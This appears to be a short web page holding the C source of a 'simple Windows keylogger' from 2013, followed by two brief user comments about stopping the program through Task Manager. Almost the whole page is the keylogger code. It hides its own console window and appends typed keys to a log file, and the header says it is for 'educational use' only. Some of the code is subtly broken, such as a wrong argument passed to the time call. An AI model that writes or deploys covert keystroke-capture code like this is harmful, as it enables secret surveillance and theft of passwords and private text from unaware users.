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/*
Simple WINDOWS keylogger by jkrix 2013.
User may distribute and modify source code but MUST keep this top commented section in the source code!
Very important note:
To be used for educational use and not for malicious tasks!
I will NOT be held responsible for anything silly you may do with this!
*/
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <time.h>
#define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
int main(){
char capture;
FILE *file;
// Time stuff.
time_t t;
t = time(NULL);
// Hide the window
HWND window;
AllocConsole();
window=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(window,0);
file = fopen(PATH, "a+");
fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
while(1)
{
Sleep(20); // To make sure this program doesn't steal all resources.
if (kbhit())
{
capture = getch();
// Just add in some helper strings here to the file, feel free to modify these to your needs.
switch ((int)capture){
case ' ': // Space key...obviously.
fprintf(file, " ");
break;
case 0x09: // Tab key.
fprintf(file, "[TAB]");
break;
case 0x0D: // Enter key.
fprintf(file, "[ENTER]");
break;
case 0x1B: // Escape key.
fprintf(file, "[ESC]");
break;
case 0x08: // Backspace key.
fprintf(file, "[BACKSPACE]");
break;
default:
fputc(capture,file); // Put any other inputted key into the file.
}
if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
fclose(file);
return 0;
}
}
}
}
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unable to stop this program once executed ......

you can stop it in task manager

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